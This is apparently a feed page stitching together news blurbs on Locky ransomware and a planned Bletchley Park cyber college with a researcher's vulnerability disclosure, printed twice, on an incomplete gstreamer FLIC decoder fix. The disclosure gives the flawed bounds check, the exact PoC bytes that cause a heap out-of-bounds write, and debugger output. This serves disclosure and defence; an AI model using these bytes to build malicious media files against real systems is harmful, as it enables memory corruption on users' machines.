Locky ransomware uses decoy image files to ambush Facebook, LinkedIn accounts

(credit: Aurich Lawson)

A low-tech but cunning malware program is worrying security researchers after it started spreading rapidly in the past week through a new attack vector: by forcibly exploiting vulnerabilities in Facebook and LinkedIn.

According to the Israeli security firm Check Point, security flaws in the two social networks allow a maliciously coded image file to download itself to a user's computer. Users who notice the download, and who then access the file, cause malicious code to install "Locky" ransomware onto their computers.

Locky has been around since early this year, and works by encrypting victims' files and demands a payment of around half a bitcoin (currently £294; $365) for the key. Previously, it had relied on a malicious macro in Word documents and spam e-mails, but Check Point says that in the past week there has been a "massive spread of the Locky ransomware via social media, particularly in its Facebook-based campaign."

Read 6 remaining paragraphs | Comments

Cyber college for wannabe codebreakers planned at UK’s iconic Bletchley Park

Enlarge / Block G is one of the largest wartime structures at the site. (credit: Qufaro)

Bletchley Park—the home of codebreakers whose pioneering work helped Britain and its allies win the Second World—could be the site for a College of National Security, with plans for it to open in 2018.

The new sixth-form boarding school will, we're told, be run by a private non-profit consortium of tech firms, venture capitalists, and entrepreneurs, with rumoured input from GCHQ. It will enrol 500 teenagers (aged 16 to 19) who will be taught cybersecurity skills—which could, it's hoped, go some way to addressing the shortfall in UK talent.

The outfit behind the college, which would apparently be free for its pupils to attend, says at least part of the syllabus would be set by infosec experts focusing mostly on cybersecurity (roughly 40 percent of the curriculum), with additional modules on maths, computer science, economics, and physics also taught over a three-year period of study. Applicants won't be selected on the basis of specific academic qualifications, so much as through aptitude tests set by the college, or even on the basis of previously demonstrated skills, such as self-taught coding.

Read 8 remaining paragraphs | Comments

[0day] [PoC] Incorrect fix for gstreamer FLIC decoder vulnerability CESA-2016-0004

Overview
Recently (Nov 21st, 2016), I published an 0day exploit against the gstreamer FLIC decoder, here on my blog.

The response time from gstreamer upstream was impressive: a patch in 1 day or so that fixed not only the immediate issue but also some similar bugs in other functions in the decoder. More on those other bugs in another post. Here is the git commit.

The response from Ubuntu, one of the distributions I use, was also fast. On Nov 22nd 2016, they published a gstreamer advisory: USN-3135-1. At the time of writing -- Nov 24th, 2016 -- I am not being offered patches for my Fedora 24 or Fedora 25 installs, by way of contrast.

Unfortunately, the fix was not 100% correct. Presented here is an 0day PoC (PoC, not exploit!) for the remaining memory corruption issue, along with a description of the code error.

The remaining vulnerability
Bounds checks were added for all three of the failure conditions I noted in my original blog post. The new code inside flx_decode_delta_fli() looks like this:

...
 start_line = (data[0] + (data[1] << 8));
 lines = (data[2] + (data[3] << 8));
 if (start_line + lines > flxdec->hdr.height) {
   GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. too many lines.");
   return FALSE;
 }
 data += 4;

 /* start position of delta */
 dest += (flxdec->hdr.width * start_line);
 start_p = dest;

 while (lines--) {
   /* packet count */
   packets = *data++;

   while (packets--) {
     /* skip count */
     guchar skip = *data++;
     dest += skip;

     /* RLE count */
     count = *data++;

     if (count > 0x7f) {
       /* literal run */
       count = 0x100 - count;

       if (skip + count > flxdec->hdr.width) {
         GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. "
             "line too long.");
         return FALSE;
       }

       x = *data++;
       while (count--)
         *dest++ = x;

There’s an attempt to make sure that the skip pixel count plus the number of pixels to write stays within the bounds of the canvas width. But there’s subtle problem: the format permits multiple skip and count pairs per canvas line. And the skip counts are considered individually rather than cumulatively. Therefore, it’s possible to get the skip + count check to pass while still writing off the end of the line. If we arrange to write off the end of the last line, we have a memory corruption.

Building a PoC
Building a PoC is not too complicated. We allocate a canvas buffer of dimensions 255 x 1. By having only one line, we ensure that any write off the end of the line will be a write off the end of the last line and therefore a memory corruption.

And then the main line of bytes inside the PoC file is:
10 00 00 00 0C 00 00 00 01 00 02 FF 00 00 80 41

This is a chunk of size 16 (10 00 00 00), type FLX_LC (0C 00). We start writing at line offset 0 (00 00) for 1 line (01 00). We write 2 packets of skip / count pairs (02). The first packet skips 255 bytes along the line, and writes 0 pixels (FF 00). This stays within bounds for the checks. The second packet skips 0 bytes further along (00) and writes 128 bytes (80) of value ‘A’ (41). The second packet passes the check because 0 + 128 is less than the width of 255. But that check didn’t take into account the fact that our first packet skipped 255 bytes along the line. So an out of bounds write results.

In the debugger:
gdb gst-play-1.0
(gdb) r crash_delta_fli_2.flx
Thread 2 "typefind:sink" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff49f3700 (LWP 9257)]
_int_malloc ([email protected]=0x7ffff0000020, [email protected]=32) at malloc.c:3725
(gdb) disass $rip,$rip+10
Dump of assembler code from 0x7ffff6389c4e to 0x7ffff6389c58:
=> 0x00007ffff6389c4e <_int_malloc>: mov    0x18(%r15),%rax
(gdb) p/x $r15
$1 = 0x4141414141414141
That looks like heap metadata corruption -- not good. This vulnerability offers similar power to the original one, but with less “range” in terms of how far forward into the heap it is possible to corrupt. Still, it would be foolish to propose this isn’t exploitable.

You can refer to this new vulnerability as CESA-2016-0011. The original cluster of issues was CESA-2016-0004.

You can download the PoC from here: crash_delta_fli_2.flx.

Closing notes

Happy Thanksgiving!

[0day] [PoC] Incorrect fix for gstreamer FLIC decoder vulnerability CESA-2016-0004

Overview
Recently (Nov 21st, 2016), I published an 0day exploit against the gstreamer FLIC decoder, here on my blog.

The response time from gstreamer upstream was impressive: a patch in 1 day or so that fixed not only the immediate issue but also some similar bugs in other functions in the decoder. More on those other bugs in another post. Here is the git commit.

The response from Ubuntu, one of the distributions I use, was also fast. On Nov 22nd 2016, they published a gstreamer advisory: USN-3135-1. At the time of writing -- Nov 24th, 2016 -- I am not being offered patches for my Fedora 24 or Fedora 25 installs, by way of contrast.

Unfortunately, the fix was not 100% correct. Presented here is an 0day PoC (PoC, not exploit!) for the remaining memory corruption issue, along with a description of the code error.

The remaining vulnerability
Bounds checks were added for all three of the failure conditions I noted in my original blog post. The new code inside flx_decode_delta_fli() looks like this:

...
 start_line = (data[0] + (data[1] << 8));
 lines = (data[2] + (data[3] << 8));
 if (start_line + lines > flxdec->hdr.height) {
   GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. too many lines.");
   return FALSE;
 }
 data += 4;

 /* start position of delta */
 dest += (flxdec->hdr.width * start_line);
 start_p = dest;

 while (lines--) {
   /* packet count */
   packets = *data++;

   while (packets--) {
     /* skip count */
     guchar skip = *data++;
     dest += skip;

     /* RLE count */
     count = *data++;

     if (count > 0x7f) {
       /* literal run */
       count = 0x100 - count;

       if (skip + count > flxdec->hdr.width) {
         GST_ERROR_OBJECT (flxdec, "Invalid FLI packet detected. "
             "line too long.");
         return FALSE;
       }

       x = *data++;
       while (count--)
         *dest++ = x;

There’s an attempt to make sure that the skip pixel count plus the number of pixels to write stays within the bounds of the canvas width. But there’s subtle problem: the format permits multiple skip and count pairs per canvas line. And the skip counts are considered individually rather than cumulatively. Therefore, it’s possible to get the skip + count check to pass while still writing off the end of the line. If we arrange to write off the end of the last line, we have a memory corruption.

Building a PoC
Building a PoC is not too complicated. We allocate a canvas buffer of dimensions 255 x 1. By having only one line, we ensure that any write off the end of the line will be a write off the end of the last line and therefore a memory corruption.

And then the main line of bytes inside the PoC file is:
10 00 00 00 0C 00 00 00 01 00 02 FF 00 00 80 41

This is a chunk of size 16 (10 00 00 00), type FLX_LC (0C 00). We start writing at line offset 0 (00 00) for 1 line (01 00). We write 2 packets of skip / count pairs (02). The first packet skips 255 bytes along the line, and writes 0 pixels (FF 00). This stays within bounds for the checks. The second packet skips 0 bytes further along (00) and writes 128 bytes (80) of value ‘A’ (41). The second packet passes the check because 0 + 128 is less than the width of 255. But that check didn’t take into account the fact that our first packet skipped 255 bytes along the line. So an out of bounds write results.

In the debugger:
gdb gst-play-1.0
(gdb) r crash_delta_fli_2.flx
Thread 2 "typefind:sink" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff49f3700 (LWP 9257)]
_int_malloc ([email protected]=0x7ffff0000020, [email protected]=32) at malloc.c:3725
(gdb) disass $rip,$rip+10
Dump of assembler code from 0x7ffff6389c4e to 0x7ffff6389c58:
=> 0x00007ffff6389c4e <_int_malloc>: mov    0x18(%r15),%rax
(gdb) p/x $r15
$1 = 0x4141414141414141
That looks like heap metadata corruption -- not good. This vulnerability offers similar power to the original one, but with less “range” in terms of how far forward into the heap it is possible to corrupt. Still, it would be foolish to propose this isn’t exploitable.

You can refer to this new vulnerability as CESA-2016-0011. The original cluster of issues was CESA-2016-0004.

You can download the PoC from here: crash_delta_fli_2.flx.

Closing notes

Happy Thanksgiving!